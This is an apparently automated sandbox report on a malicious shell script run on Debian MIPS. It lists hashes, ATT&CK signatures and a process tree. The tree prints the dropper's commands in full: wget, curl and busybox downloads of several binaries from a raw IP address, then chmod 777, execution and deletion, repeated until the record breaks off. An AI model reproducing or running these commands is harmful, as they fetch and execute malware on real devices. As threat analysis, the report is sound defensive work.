185656c8a8a34f067b2eb8108f7b514974ea276a59f1903ee96e13394b196109

Analysis

max time kernel
86s
max time network
89s
platform
debian-9_mipsel
resource
debian9-mipsel-20240418-en
resource tags

arch:mipselimage:debian9-mipsel-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
20/11/2024, 02:08

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
185656c8a8a34f067b2eb8108f7b514974ea276a59f1903ee96e13394b196109.sh
Size 10KB
Sample241120-ck3exsyjay
SHA256 185656c8a8a34f067b2eb8108f7b514974ea276a59f1903ee96e13394b196109
MD5 be24bd05636a7ebc488b8a9d5fdc5386
SHA1 e4995d644b110599daa4e149e256f4184d99fd25
SHA512 880000c6c56074deacf44e8bd8e378bd1983a24be094b0d472892325005a229bfa2426f78b5fc46aa06885cf8c5eeb9d3ec173d0e0cf4aebecef8ca0106f3b19
SSDEEP 192:mEM47YIU6G3s0Yl7Gl76l7rQAY7XD5RRS7q2+WKX7frdf5fZfINBHaBBaiKWF7ta:XnkorQAYQwt5ZINBH2UkorQAe5ZINBf
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
777	chmod
963	chmod
733	chmod
741	chmod
755	chmod
833	chmod
915	chmod
879	chmod
903	chmod
927	chmod
957	chmod
885	chmod
897	chmod
797	chmod
816	chmod
825	chmod
921	chmod
939	chmod
945	chmod
873	chmod
747	chmod
891	chmod
969	chmod
975	chmod
857	chmod
909	chmod
933	chmod
951	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 20 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
845	curl
742	UJoip0Yfq9Y9AyFCJa1ISX8hL6hX0GDhx5
840	wget
913	curl
914	busybox
961	curl
737	wget
743	rm
858	idkMoRXMipMhw22wQsyL92ITpIX97fCPFV
912	wget
916	UJoip0Yfq9Y9AyFCJa1ISX8hL6hX0GDhx5
917	rm
960	wget
962	busybox
740	busybox
965	rm
964	idkMoRXMipMhw22wQsyL92ITpIX97fCPFV
854	busybox
861	rm
739	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/vGRTUa0HSiU3aQWDlk09w6rZ5wwtOyojrz	curl
File opened for modification	/tmp/JrQ7v48KUbBAuB5XwxdXts2fqLV8sSyQug	curl
File opened for modification	/tmp/kLf10Zypb6DCuHTUFWcjOZSmiutxNJVkHW	curl
File opened for modification	/tmp/UJoip0Yfq9Y9AyFCJa1ISX8hL6hX0GDhx5	curl
File opened for modification	/tmp/U2yS6hyWg0BtnOfCVT5oRgLRz6xnyfaRZC	curl
File opened for modification	/tmp/l95ASuFmLcNSOdvE9RcuWyaJad7Y26j6gI	curl
File opened for modification	/tmp/GMhxl5wHXRS78ZxxUEojcwBAcKgYqNRVZF	curl
File opened for modification	/tmp/p0kIRyTOChVSgScoUjN6uyn1hVsFgIq783	curl
File opened for modification	/tmp/25rlz5Twbw5ZJKlGiFYuvc7HBM7xOztnZ2	curl
File opened for modification	/tmp/kLf10Zypb6DCuHTUFWcjOZSmiutxNJVkHW	curl
File opened for modification	/tmp/6kZs5wwxTPH8Mr4NXZgr9rqQN0iaX04loE	curl
File opened for modification	/tmp/25rlz5Twbw5ZJKlGiFYuvc7HBM7xOztnZ2	curl
File opened for modification	/tmp/6kZs5wwxTPH8Mr4NXZgr9rqQN0iaX04loE	curl
File opened for modification	/tmp/l95ASuFmLcNSOdvE9RcuWyaJad7Y26j6gI	curl
File opened for modification	/tmp/idkMoRXMipMhw22wQsyL92ITpIX97fCPFV	curl
File opened for modification	/tmp/me2BWCTnZgdEwDCPbp1gfsX6qBPXNAqL17	curl
File opened for modification	/tmp/zZtCZZddeduS2oaAFtibNooqfJ99ts5rf6	curl
File opened for modification	/tmp/me2BWCTnZgdEwDCPbp1gfsX6qBPXNAqL17	curl
File opened for modification	/tmp/JrQ7v48KUbBAuB5XwxdXts2fqLV8sSyQug	curl
File opened for modification	/tmp/Av2kF07j7TD1Z98A5QTPBdBIZQgIAcTmeX	curl
File opened for modification	/tmp/p0kIRyTOChVSgScoUjN6uyn1hVsFgIq783	curl
File opened for modification	/tmp/GMhxl5wHXRS78ZxxUEojcwBAcKgYqNRVZF	curl
File opened for modification	/tmp/Av2kF07j7TD1Z98A5QTPBdBIZQgIAcTmeX	curl
File opened for modification	/tmp/zZtCZZddeduS2oaAFtibNooqfJ99ts5rf6	curl
File opened for modification	/tmp/idkMoRXMipMhw22wQsyL92ITpIX97fCPFV	curl
File opened for modification	/tmp/U2yS6hyWg0BtnOfCVT5oRgLRz6xnyfaRZC	curl
File opened for modification	/tmp/vGRTUa0HSiU3aQWDlk09w6rZ5wwtOyojrz	curl
File opened for modification	/tmp/UJoip0Yfq9Y9AyFCJa1ISX8hL6hX0GDhx5	curl

/tmp/185656c8a8a34f067b2eb8108f7b514974ea276a59f1903ee96e13394b196109.sh
/tmp/185656c8a8a34f067b2eb8108f7b514974ea276a59f1903ee96e13394b196109.sh
1⤵
PID:703
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:706
- /usr/bin/wget
  wget http://87.120.125.191/bins/25rlz5Twbw5ZJKlGiFYuvc7HBM7xOztnZ2
  2⤵
  PID:712
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/25rlz5Twbw5ZJKlGiFYuvc7HBM7xOztnZ2
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:719
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/25rlz5Twbw5ZJKlGiFYuvc7HBM7xOztnZ2
  2⤵
  PID:729
- /bin/chmod
  chmod 777 25rlz5Twbw5ZJKlGiFYuvc7HBM7xOztnZ2
  2⤵
  - File and Directory Permissions Modification
  PID:733
- /tmp/25rlz5Twbw5ZJKlGiFYuvc7HBM7xOztnZ2
  ./25rlz5Twbw5ZJKlGiFYuvc7HBM7xOztnZ2
  2⤵
  - Executes dropped EXE
  PID:734
- /bin/rm
  rm 25rlz5Twbw5ZJKlGiFYuvc7HBM7xOztnZ2
  2⤵
  PID:736
- /usr/bin/wget
  wget http://87.120.125.191/bins/UJoip0Yfq9Y9AyFCJa1ISX8hL6hX0GDhx5
  2⤵
  - System Network Configuration Discovery
  PID:737
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/UJoip0Yfq9Y9AyFCJa1ISX8hL6hX0GDhx5
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:739
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/UJoip0Yfq9Y9AyFCJa1ISX8hL6hX0GDhx5
  2⤵
  - System Network Configuration Discovery
  PID:740
- /bin/chmod
  chmod 777 UJoip0Yfq9Y9AyFCJa1ISX8hL6hX0GDhx5
  2⤵
  - File and Directory Permissions Modification
  PID:741
- /tmp/UJoip0Yfq9Y9AyFCJa1ISX8hL6hX0GDhx5
  ./UJoip0Yfq9Y9AyFCJa1ISX8hL6hX0GDhx5
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:742
- /bin/rm
  rm UJoip0Yfq9Y9AyFCJa1ISX8hL6hX0GDhx5
  2⤵
  - System Network Configuration Discovery
  PID:743
- /usr/bin/wget
  wget http://87.120.125.191/bins/Av2kF07j7TD1Z98A5QTPBdBIZQgIAcTmeX
  2⤵
  PID:744
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/Av2kF07j7TD1Z98A5QTPBdBIZQgIAcTmeX
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:745
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/Av2kF07j7TD1Z98A5QTPBdBIZQgIAcTmeX
  2⤵
  PID:746
- /bin/chmod
  chmod 777 Av2kF07j7TD1Z98A5QTPBdBIZQgIAcTmeX
  2⤵
  - File and Directory Permissions Modification
  PID:747
- /tmp/Av2kF07j7TD1Z98A5QTPBdBIZQgIAcTmeX
  ./Av2kF07j7TD1Z98A5QTPBdBIZQgIAcTmeX
  2⤵
  - Executes dropped EXE
  PID:748
- /bin/rm
  rm Av2kF07j7TD1Z98A5QTPBdBIZQgIAcTmeX
  2⤵
  PID:749
- /usr/bin/wget
  wget http://87.120.125.191/bins/kLf10Zypb6DCuHTUFWcjOZSmiutxNJVkHW
  2⤵
  PID:750
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/kLf10Zypb6DCuHTUFWcjOZSmiutxNJVkHW
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:751
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/kLf10Zypb6DCuHTUFWcjOZSmiutxNJVkHW
  2⤵
  PID:752
- /bin/chmod
  chmod 777 kLf10Zypb6DCuHTUFWcjOZSmiutxNJVkHW
  2⤵
  - File and Directory Permissions Modification
  PID:755
- /tmp/kLf10Zypb6DCuHTUFWcjOZSmiutxNJVkHW
  ./kLf10Zypb6DCuHTUFWcjOZSmiutxNJVkHW
  2⤵
  - Executes dropped EXE
  PID:757
- /bin/rm
  rm kLf10Zypb6DCuHTUFWcjOZSmiutxNJVkHW
  2⤵
  PID:759
- /usr/bin/wget
  wget http://87.120.125.191/bins/l95ASuFmLcNSOdvE9RcuWyaJad7Y26j6gI
  2⤵
  PID:761
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/l95ASuFmLcNSOdvE9RcuWyaJad7Y26j6gI
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:765
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/l95ASuFmLcNSOdvE9RcuWyaJad7Y26j6gI
  2⤵
  PID:774
- /bin/chmod
  chmod 777 l95ASuFmLcNSOdvE9RcuWyaJad7Y26j6gI
  2⤵
  - File and Directory Permissions Modification
  PID:777
- /tmp/l95ASuFmLcNSOdvE9RcuWyaJad7Y26j6gI
  ./l95ASuFmLcNSOdvE9RcuWyaJad7Y26j6gI
  2⤵
  - Executes dropped EXE
  PID:778
- /bin/rm
  rm l95ASuFmLcNSOdvE9RcuWyaJad7Y26j6gI
  2⤵
  PID:781
- /usr/bin/wget
  wget http://87.120.125.191/bins/6kZs5wwxTPH8Mr4NXZgr9rqQN0iaX04loE
  2⤵
  PID:782
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/6kZs5wwxTPH8Mr4NXZgr9rqQN0iaX04loE
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:787
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/6kZs5wwxTPH8Mr4NXZgr9rqQN0iaX04loE
  2⤵
  PID:793
- /bin/chmod
  chmod 777 6kZs5wwxTPH8Mr4NXZgr9rqQN0iaX04loE
  2⤵
  - File and Directory Permissions Modification
  PID:797
- /tmp/6kZs5wwxTPH8Mr4NXZgr9rqQN0iaX04loE
  ./6kZs5wwxTPH8Mr4NXZgr9rqQN0iaX04loE
  2⤵
  - Executes dropped EXE
  PID:798
- /bin/rm
  rm 6kZs5wwxTPH8Mr4NXZgr9rqQN0iaX04loE
  2⤵
  PID:800
- /usr/bin/wget
  wget http://87.120.125.191/bins/U2yS6hyWg0BtnOfCVT5oRgLRz6xnyfaRZC
  2⤵
  PID:802
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/U2yS6hyWg0BtnOfCVT5oRgLRz6xnyfaRZC
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:809
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/U2yS6hyWg0BtnOfCVT5oRgLRz6xnyfaRZC
  2⤵
  PID:815
- /bin/chmod
  chmod 777 U2yS6hyWg0BtnOfCVT5oRgLRz6xnyfaRZC
  2⤵
  - File and Directory Permissions Modification
  PID:816
- /tmp/U2yS6hyWg0BtnOfCVT5oRgLRz6xnyfaRZC
  ./U2yS6hyWg0BtnOfCVT5oRgLRz6xnyfaRZC
  2⤵
  - Executes dropped EXE
  PID:818
- /bin/rm
  rm U2yS6hyWg0BtnOfCVT5oRgLRz6xnyfaRZC
  2⤵
  PID:821
- /usr/bin/wget
  wget http://87.120.125.191/bins/vGRTUa0HSiU3aQWDlk09w6rZ5wwtOyojrz
  2⤵
  PID:822
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/vGRTUa0HSiU3aQWDlk09w6rZ5wwtOyojrz
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:823
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/vGRTUa0HSiU3aQWDlk09w6rZ5wwtOyojrz
  2⤵
  PID:824
- /bin/chmod
  chmod 777 vGRTUa0HSiU3aQWDlk09w6rZ5wwtOyojrz
  2⤵
  - File and Directory Permissions Modification
  PID:825
- /tmp/vGRTUa0HSiU3aQWDlk09w6rZ5wwtOyojrz
  ./vGRTUa0HSiU3aQWDlk09w6rZ5wwtOyojrz
  2⤵
  - Executes dropped EXE
  PID:826
- /bin/rm
  rm vGRTUa0HSiU3aQWDlk09w6rZ5wwtOyojrz
  2⤵
  PID:827
- /usr/bin/wget
  wget http://87.120.125.191/bins/zZtCZZddeduS2oaAFtibNooqfJ99ts5rf6
  2⤵
  PID:828
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/zZtCZZddeduS2oaAFtibNooqfJ99ts5rf6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:829
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/zZtCZZddeduS2oaAFtibNooqfJ99ts5rf6
  2⤵
  PID:830
- /bin/chmod
  chmod 777 zZtCZZddeduS2oaAFtibNooqfJ99ts5rf6
  2⤵
  - File and Directory Permissions Modification
  PID:833
- /tmp/zZtCZZddeduS2oaAFtibNooqfJ99ts5rf6
  ./zZtCZZddeduS2oaAFtibNooqfJ99ts5rf6
  2⤵
  - Executes dropped EXE
  PID:835
- /bin/rm
  rm zZtCZZddeduS2oaAFtibNooqfJ99ts5rf6
  2⤵
  PID:838
- /usr/bin/wget
  wget http://87.120.125.191/bins/idkMoRXMipMhw22wQsyL92ITpIX97fCPFV
  2⤵
  - System Network Configuration Discovery
  PID:840
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/idkMoRXMipMhw22wQsyL92ITpIX97fCPFV
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:845
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/idkMoRXMipMhw22wQsyL92ITpIX97fCPFV
  2⤵
  - System Network Configuration Discovery
  PID:854
- /bin/chmod
  chmod 777 idkMoRXMipMhw22wQsyL92ITpIX97fCPFV
  2⤵
  - File and Directory Permissions Modification
  PID:857
- /tmp/idkMoRXMipMhw22wQsyL92ITpIX97fCPFV
  ./idkMoRXMipMhw22wQsyL92ITpIX97fCPFV
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:858
- /bin/rm
  rm idkMoRXMipMhw22wQsyL92ITpIX97fCPFV
  2⤵
  - System Network Configuration Discovery
  PID:861
- /usr/bin/wget
  wget http://87.120.125.191/bins/p0kIRyTOChVSgScoUjN6uyn1hVsFgIq783
  2⤵
  PID:862
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/p0kIRyTOChVSgScoUjN6uyn1hVsFgIq783
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:867
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/p0kIRyTOChVSgScoUjN6uyn1hVsFgIq783
  2⤵
  PID:872
- /bin/chmod
  chmod 777 p0kIRyTOChVSgScoUjN6uyn1hVsFgIq783
  2⤵
  - File and Directory Permissions Modification
  PID:873
- /tmp/p0kIRyTOChVSgScoUjN6uyn1hVsFgIq783
  ./p0kIRyTOChVSgScoUjN6uyn1hVsFgIq783
  2⤵
  - Executes dropped EXE
  PID:874
- /bin/rm
  rm p0kIRyTOChVSgScoUjN6uyn1hVsFgIq783
  2⤵
  PID:875
- /usr/bin/wget
  wget http://87.120.125.191/bins/me2BWCTnZgdEwDCPbp1gfsX6qBPXNAqL17
  2⤵
  PID:876
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/me2BWCTnZgdEwDCPbp1gfsX6qBPXNAqL17
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:877
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/me2BWCTnZgdEwDCPbp1gfsX6qBPXNAqL17
  2⤵
  PID:878
- /bin/chmod
  chmod 777 me2BWCTnZgdEwDCPbp1gfsX6qBPXNAqL17
  2⤵
  - File and Directory Permissions Modification
  PID:879
- /tmp/me2BWCTnZgdEwDCPbp1gfsX6qBPXNAqL17
  ./me2BWCTnZgdEwDCPbp1gfsX6qBPXNAqL17
  2⤵
  - Executes dropped EXE
  PID:880
- /bin/rm
  rm me2BWCTnZgdEwDCPbp1gfsX6qBPXNAqL17
  2⤵
  PID:881
- /usr/bin/wget
  wget http://87.120.125.191/bins/GMhxl5wHXRS78ZxxUEojcwBAcKgYqNRVZF
  2⤵
  PID:882
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/GMhxl5wHXRS78ZxxUEojcwBAcKgYqNRVZF
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:883
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/GMhxl5wHXRS78ZxxUEojcwBAcKgYqNRVZF
  2⤵
  PID:884
- /bin/chmod
  chmod 777 GMhxl5wHXRS78ZxxUEojcwBAcKgYqNRVZF
  2⤵
  - File and Directory Permissions Modification
  PID:885
- /tmp/GMhxl5wHXRS78ZxxUEojcwBAcKgYqNRVZF
  ./GMhxl5wHXRS78ZxxUEojcwBAcKgYqNRVZF
  2⤵
  - Executes dropped EXE
  PID:886
- /bin/rm
  rm GMhxl5wHXRS78ZxxUEojcwBAcKgYqNRVZF
  2⤵
  PID:887
- /usr/bin/wget
  wget http://87.120.125.191/bins/JrQ7v48KUbBAuB5XwxdXts2fqLV8sSyQug
  2⤵
  PID:888
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/JrQ7v48KUbBAuB5XwxdXts2fqLV8sSyQug
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:889
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/JrQ7v48KUbBAuB5XwxdXts2fqLV8sSyQug
  2⤵
  PID:890
- /bin/chmod
  chmod 777 JrQ7v48KUbBAuB5XwxdXts2fqLV8sSyQug
  2⤵
  - File and Directory Permissions Modification
  PID:891
- /tmp/JrQ7v48KUbBAuB5XwxdXts2fqLV8sSyQug
  ./JrQ7v48KUbBAuB5XwxdXts2fqLV8sSyQug
  2⤵
  - Executes dropped EXE
  PID:892
- /bin/rm
  rm JrQ7v48KUbBAuB5XwxdXts2fqLV8sSyQug
  2⤵
  PID:893
- /usr/bin/wget
  wget http://87.120.125.191/bins/GMhxl5wHXRS78ZxxUEojcwBAcKgYqNRVZF
  2⤵
  PID:894
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/GMhxl5wHXRS78ZxxUEojcwBAcKgYqNRVZF
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:895
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/GMhxl5wHXRS78ZxxUEojcwBAcKgYqNRVZF
  2⤵
  PID:896
- /bin/chmod
  chmod 777 GMhxl5wHXRS78ZxxUEojcwBAcKgYqNRVZF
  2⤵
  - File and Directory Permissions Modification
  PID:897
- /tmp/GMhxl5wHXRS78ZxxUEojcwBAcKgYqNRVZF
  ./GMhxl5wHXRS78ZxxUEojcwBAcKgYqNRVZF
  2⤵
  - Executes dropped EXE
  PID:898
- /bin/rm
  rm GMhxl5wHXRS78ZxxUEojcwBAcKgYqNRVZF
  2⤵
  PID:899
- /usr/bin/wget
  wget http://87.120.125.191/bins/JrQ7v48KUbBAuB5XwxdXts2fqLV8sSyQug
  2⤵
  PID:900
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/JrQ7v48KUbBAuB5XwxdXts2fqLV8sSyQug
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:901
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/JrQ7v48KUbBAuB5XwxdXts2fqLV8sSyQug
  2⤵
  PID:902
- /bin/chmod
  chmod 777 JrQ7v48KUbBAuB5XwxdXts2fqLV8sSyQug
  2⤵
  - File and Directory Permissions Modification
  PID:903
- /tmp/JrQ7v48KUbBAuB5XwxdXts2fqLV8sSyQug
  ./JrQ7v48KUbBAuB5XwxdXts2fqLV8sSyQug
  2⤵
  - Executes dropped EXE
  PID:904
- /bin/rm
  rm JrQ7v48KUbBAuB5XwxdXts2fqLV8sSyQug
  2⤵
  PID:905
- /usr/bin/wget
  wget http://87.120.125.191/bins/25rlz5Twbw5ZJKlGiFYuvc7HBM7xOztnZ2
  2⤵
  PID:906
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/25rlz5Twbw5ZJKlGiFYuvc7HBM7xOztnZ2
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:907
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/25rlz5Twbw5ZJKlGiFYuvc7HBM7xOztnZ2
  2⤵
  PID:908
- /bin/chmod
  chmod 777 25rlz5Twbw5ZJKlGiFYuvc7HBM7xOztnZ2
  2⤵
  - File and Directory Permissions Modification
  PID:909
- /tmp/25rlz5Twbw5ZJKlGiFYuvc7HBM7xOztnZ2
  ./25rlz5Twbw5ZJKlGiFYuvc7HBM7xOztnZ2
  2⤵
  - Executes dropped EXE
  PID:910
- /bin/rm
  rm 25rlz5Twbw5ZJKlGiFYuvc7HBM7xOztnZ2
  2⤵
  PID:911
- /usr/bin/wget
  wget http://87.120.125.191/bins/UJoip0Yfq9Y9AyFCJa1ISX8hL6hX0GDhx5
  2⤵
  - System Network Configuration Discovery
  PID:912
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/UJoip0Yfq9Y9AyFCJa1ISX8hL6hX0GDhx5
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:913
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/UJoip0Yfq9Y9AyFCJa1ISX8hL6hX0GDhx5
  2⤵
  - System Network Configuration Discovery
  PID:914
- /bin/chmod
  chmod 777 UJoip0Yfq9Y9AyFCJa1ISX8hL6hX0GDhx5
  2⤵
  - File and Directory Permissions Modification
  PID:915
- /tmp/UJoip0Yfq9Y9AyFCJa1ISX8hL6hX0GDhx5
  ./UJoip0Yfq9Y9AyFCJa1ISX8hL6hX0GDhx5
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:916
- /bin/rm
  rm UJoip0Yfq9Y9AyFCJa1ISX8hL6hX0GDhx5
  2⤵
  - System Network Configuration Discovery
  PID:917
- /usr/bin/wget
  wget http://87.120.125.191/bins/Av2kF07j7TD1Z98A5QTPBdBIZQgIAcTmeX
  2⤵
  PID:918
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/Av2kF07j7TD1Z98A5QTPBdBIZQgIAcTmeX
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:919
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/Av2kF07j7TD1Z98A5QTPBdBIZQgIAcTmeX
  2⤵
  PID:920
- /bin/chmod
  chmod 777 Av2kF07j7TD1Z98A5QTPBdBIZQgIAcTmeX
  2⤵
  - File and Directory Permissions Modification
  PID:921
- /tmp/Av2kF07j7TD1Z98A5QTPBdBIZQgIAcTmeX
  ./Av2kF07j7TD1Z98A5QTPBdBIZQgIAcTmeX
  2⤵
  - Executes dropped EXE
  PID:922
- /bin/rm
  rm Av2kF07j7TD1Z98A5QTPBdBIZQgIAcTmeX
  2⤵
  PID:923
- /usr/bin/wget
  wget http://87.120.125.191/bins/kLf10Zypb6DCuHTUFWcjOZSmiutxNJVkHW
  2⤵
  PID:924
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/kLf10Zypb6DCuHTUFWcjOZSmiutxNJVkHW
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:925
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/kLf10Zypb6DCuHTUFWcjOZSmiutxNJVkHW
  2⤵
  PID:926
- /bin/chmod
  chmod 777 kLf10Zypb6DCuHTUFWcjOZSmiutxNJVkHW
  2⤵
  - File and Directory Permissions Modification
  PID:927
- /tmp/kLf10Zypb6DCuHTUFWcjOZSmiutxNJVkHW
  ./kLf10Zypb6DCuHTUFWcjOZSmiutxNJVkHW
  2⤵
  - Executes dropped EXE
  PID:928
- /bin/rm
  rm kLf10Zypb6DCuHTUFWcjOZSmiutxNJVkHW
  2⤵
  PID:929
- /usr/bin/wget
  wget http://87.120.125.191/bins/l95ASuFmLcNSOdvE9RcuWyaJad7Y26j6gI
  2⤵
  PID:930
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/l95ASuFmLcNSOdvE9RcuWyaJad7Y26j6gI
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:931
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/l95ASuFmLcNSOdvE9RcuWyaJad7Y26j6gI
  2⤵
  PID:932
- /bin/chmod
  chmod 777 l95ASuFmLcNSOdvE9RcuWyaJad7Y26j6gI
  2⤵
  - File and Directory Permissions Modification
  PID:933
- /tmp/l95ASuFmLcNSOdvE9RcuWyaJad7Y26j6gI
  ./l95ASuFmLcNSOdvE9RcuWyaJad7Y26j6gI
  2⤵
  - Executes dropped EXE
  PID:934
- /bin/rm
  rm l95ASuFmLcNSOdvE9RcuWyaJad7Y26j6gI
  2⤵
  PID:935
- /usr/bin/wget
  wget http://87.120.125.191/bins/6kZs5wwxTPH8Mr4NXZgr9rqQN0iaX04loE
  2⤵
  PID:936
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/6kZs5wwxTPH8Mr4NXZgr9rqQN0iaX04loE
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:937
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/6kZs5wwxTPH8Mr4NXZgr9rqQN0iaX04loE
  2⤵
  PID:938
- /bin/chmod
  chmod 777 6kZs5wwxTPH8Mr4NXZgr9rqQN0iaX04loE
  2⤵
  - File and Directory Permissions Modification
  PID:939
- /tmp/6kZs5wwxTPH8Mr4NXZgr9rqQN0iaX04loE
  ./6kZs5wwxTPH8Mr4NXZgr9rqQN0iaX04loE
  2⤵
  - Executes dropped EXE
  PID:940
- /bin/rm
  rm 6kZs5wwxTPH8Mr4NXZgr9rqQN0iaX04loE
  2⤵
  PID:941
- /usr/bin/wget
  wget http://87.120.125.191/bins/U2yS6hyWg0BtnOfCVT5oRgLRz6xnyfaRZC
  2⤵
  PID:942
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/U2yS6hyWg0BtnOfCVT5oRgLRz6xnyfaRZC
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:943
- /bin/busybox
  /bin/busybox wget http://87.120.125.191/bins/U2yS6hyWg0BtnOfCVT5oRgLRz6xnyfaRZC
  2⤵
  PID:944
- /bin/chmod
  chmod 777 U2yS6hyWg0BtnOfCVT5oRgLRz6xnyfaRZC
  2⤵
  - File and Directory Permissions Modification
  PID:945
- /tmp/U2yS6hyWg0BtnOfCVT5oRgLRz6xnyfaRZC
  ./U2yS6hyWg0BtnOfCVT5oRgLRz6xnyfaRZC
  2⤵
  - Executes dropped EXE
  PID:946
- /bin/rm
  rm U2yS6hyWg0BtnOfCVT5oRgLRz6xnyfaRZC
  2⤵
  PID:947
- /usr/bin/wget
  wget http://87.120.125.191/bins/vGRTUa0HSiU3aQWDlk09w6rZ5wwtOyojrz
  2⤵
  PID:948
- /usr/bin/curl
  curl -O http://87.120.125.191/bins/vGRTUa0HSiU3aQWDlk09w6rZ5wwtOyojrz
  2⤵
